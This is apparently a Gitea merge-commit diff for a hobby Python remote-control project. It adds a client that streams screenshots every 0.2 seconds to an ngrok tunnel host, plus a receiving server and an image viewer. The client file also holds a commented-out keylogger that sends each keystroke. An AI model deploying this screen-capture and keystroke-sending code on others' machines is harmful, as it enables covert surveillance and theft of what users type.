Merge pull request 'withImageSending' (#7) from withImageSending into master
Reviewed-on: https://gitea.doserver.duckdns.org/CactiChameleon9/Remote_Control_Python_Script/pulls/7
This commit is contained in:
commit
926f79f5dc
BIN
Controlled/__pycache__/test.cpython-38.pyc
Normal file
BIN
Controlled/__pycache__/test.cpython-38.pyc
Normal file
Binary file not shown.
110
Controlled/controlled-screen.py
Normal file
110
Controlled/controlled-screen.py
Normal file
@ -0,0 +1,110 @@
|
||||
import socket
|
||||
import os
|
||||
import tkinter
|
||||
from PIL import ImageGrab
|
||||
import time
|
||||
|
||||
|
||||
|
||||
SEPARATOR = "<SEPARATOR>"
|
||||
BUFFER_SIZE = 4096 # send 4096 bytes each time step
|
||||
|
||||
|
||||
# the ip address or hostname of the server, the receiver
|
||||
# the port, let's use 5001
|
||||
host = "0.tcp.ngrok.io"
|
||||
port = 15552
|
||||
|
||||
# host = "0.0.0.0"
|
||||
# port = 5001
|
||||
|
||||
# the name of file we want to send, make sure it exists
|
||||
filename = "screen.jpg"
|
||||
# get the file size
|
||||
filesize = os.path.getsize(filename)
|
||||
|
||||
# create the client socket
|
||||
s = socket.socket()
|
||||
print(f"[+] Connecting to {host}:{port}")
|
||||
s.connect((host, port))
|
||||
print("[+] Connected.")
|
||||
# send the filename and filesize
|
||||
#s.send("HELLO".encode())
|
||||
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
|
||||
|
||||
|
||||
def sendfile():
|
||||
# start sending the file
|
||||
with open(filename, "rb") as f:
|
||||
while True:
|
||||
# read the bytes from the file
|
||||
bytes_read = f.read(BUFFER_SIZE)
|
||||
if not bytes_read:
|
||||
# file transmitting is done
|
||||
break
|
||||
# we use sendall to assure transimission in
|
||||
# busy networks
|
||||
s.sendall(bytes_read)
|
||||
# close the socket
|
||||
#s.close()
|
||||
|
||||
#-----------------------------------------------------------
|
||||
|
||||
bbox=(0,0,tkinter.Tk().winfo_screenwidth(),tkinter.Tk().winfo_screenheight())
|
||||
while True:
|
||||
image = ImageGrab.grab(bbox)
|
||||
image.save('screen.jpg',optimize=True,quality=30)
|
||||
print("screenshot taken")
|
||||
sendfile()
|
||||
time.sleep(0.2)
|
||||
s.send("FILEDONE".encode())
|
||||
|
||||
# def on_press(key):
|
||||
#
|
||||
# if str(key) == 'Key.enter':
|
||||
# text_file = open("data.txt", "w")
|
||||
# text_file.write("\n")
|
||||
# text_file.close()
|
||||
# sendfile()
|
||||
#
|
||||
# elif str(key) == 'Key.space':
|
||||
# text_file = open("data.txt", "w")
|
||||
# text_file.write(" ")
|
||||
# text_file.close()
|
||||
# sendfile()
|
||||
#
|
||||
# elif str(key) == 'Key.backspace':
|
||||
# print("Invalid")
|
||||
#
|
||||
#
|
||||
# else:
|
||||
# text_file = open("data.txt", "w")
|
||||
# text_file.write(('{}'.format(key)).replace("'", ""))
|
||||
# text_file.close()
|
||||
# sendfile()
|
||||
#
|
||||
#
|
||||
#
|
||||
# def on_release(key):
|
||||
#
|
||||
# #print('Key {} released.'.format(key))
|
||||
#
|
||||
# if str(key) == 'Key.esc':
|
||||
#
|
||||
# print('Exiting...')
|
||||
#
|
||||
# return False
|
||||
#
|
||||
#
|
||||
#
|
||||
# with keyboard.Listener(
|
||||
#
|
||||
# on_press = on_press,
|
||||
#
|
||||
# on_release = on_release) as listener:
|
||||
#
|
||||
# listener.join()
|
||||
|
||||
|
||||
#-----------------------------------------
|
||||
|
BIN
Controlled/screen.jpg
Normal file
BIN
Controlled/screen.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 111 KiB |
61
Controller/controller-screen.py
Normal file
61
Controller/controller-screen.py
Normal file
@ -0,0 +1,61 @@
|
||||
import socket
|
||||
import os
|
||||
#from test import update_image
|
||||
|
||||
# device's IP address
|
||||
SERVER_HOST = "0.0.0.0" #(socket.gethostbyname(socket.gethostname()))
|
||||
SERVER_PORT = 5001
|
||||
# receive 4096 bytes each time
|
||||
BUFFER_SIZE = 4096
|
||||
SEPARATOR = "<SEPARATOR>"
|
||||
# create the server socket
|
||||
# TCP socket
|
||||
s = socket.socket()
|
||||
# bind the socket to our local address
|
||||
s.bind((SERVER_HOST, SERVER_PORT))
|
||||
# enabling our server to accept connections
|
||||
# 5 here is the number of unaccepted connections that
|
||||
# the system will allow before refusing new connections
|
||||
s.listen(5)
|
||||
print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
|
||||
# accept connection if there is any
|
||||
client_socket, address = s.accept()
|
||||
# if below code is executed, that means the sender is connected
|
||||
print(f"[+] {address} is connected.")
|
||||
# receive the file infos
|
||||
# receive using client socket, not server socket
|
||||
received = client_socket.recv(BUFFER_SIZE).decode()
|
||||
filename, filesize = received.split(SEPARATOR)
|
||||
# remove absolute path if there is
|
||||
#filename = os.path.basename(filename)
|
||||
# convert to integer
|
||||
filesize = int(filesize)
|
||||
# start receiving the file from the socket
|
||||
# and writing to the file stream
|
||||
|
||||
#with open(filename, "wb") as f:
|
||||
|
||||
while True:
|
||||
# read 1024 bytes from the socket (receive)
|
||||
bytes_read = client_socket.recv(BUFFER_SIZE)
|
||||
if not bytes_read:
|
||||
# nothing is received
|
||||
# file transmitting is done take another time
|
||||
break
|
||||
# write to the file the bytes we just received
|
||||
try:
|
||||
hello = bytes_read.decode()
|
||||
#update_image()
|
||||
os.remove("screen.jpg")
|
||||
os.rename(r"screen_download.jpg",r"screen.jpg")
|
||||
print("I am moving the file")
|
||||
except:
|
||||
f = open("screen_download.jpg", 'ab')
|
||||
f.write(bytes_read)
|
||||
print("I am adding to the file")
|
||||
f.close()
|
||||
|
||||
# close the client socket
|
||||
#client_socket.close()
|
||||
# close the server socket
|
||||
#s.close()
|
44
Controller/image-viewer.py
Normal file
44
Controller/image-viewer.py
Normal file
@ -0,0 +1,44 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
#Displays a loop of all image files found by gather_files.py. Run that script first to populate your image db file. See README for python dependency installation hints.
|
||||
|
||||
import tkinter as tk
|
||||
from PIL import ImageTk, Image
|
||||
import os, random, time
|
||||
|
||||
|
||||
#Loop through a new image every 4 seconds.
|
||||
def update_image():
|
||||
path = "screen.jpg"
|
||||
try:
|
||||
img = ImageTk.PhotoImage(Image.open(path).resize((800, 480)))
|
||||
#Issue with image file, try another.
|
||||
except Exception as e:
|
||||
print("Error: " + str(e))
|
||||
path = get_random_file()
|
||||
img = ImageTk.PhotoImage(Image.open(path).resize((800, 480)))
|
||||
panel.configure(image=img)
|
||||
panel.image = img
|
||||
window.after(100, update_image)
|
||||
return
|
||||
|
||||
path = "screen.jpg"
|
||||
window = tk.Tk()
|
||||
#window.attributes("-fullscreen",True)
|
||||
window.title("Photo Gallery")
|
||||
window.geometry("800x480")
|
||||
window.configure(background='black')
|
||||
#Load an initial image onto the Label.
|
||||
try:
|
||||
img = ImageTk.PhotoImage(Image.open(path).resize((800, 480)))
|
||||
#Issue with image file, try another.
|
||||
except Exception as e:
|
||||
print("Error: " + str(e))
|
||||
path = "screen.jpg"
|
||||
img = ImageTk.PhotoImage(Image.open(path).resize((800, 480)))
|
||||
panel = tk.Label(window, image=img)
|
||||
panel.pack(side="bottom", fill="both", expand="yes")
|
||||
|
||||
update_image()
|
||||
window.mainloop()
|
||||
|
BIN
Controller/screen.jpg
Normal file
BIN
Controller/screen.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 51 KiB |
Loading…
x
Reference in New Issue
Block a user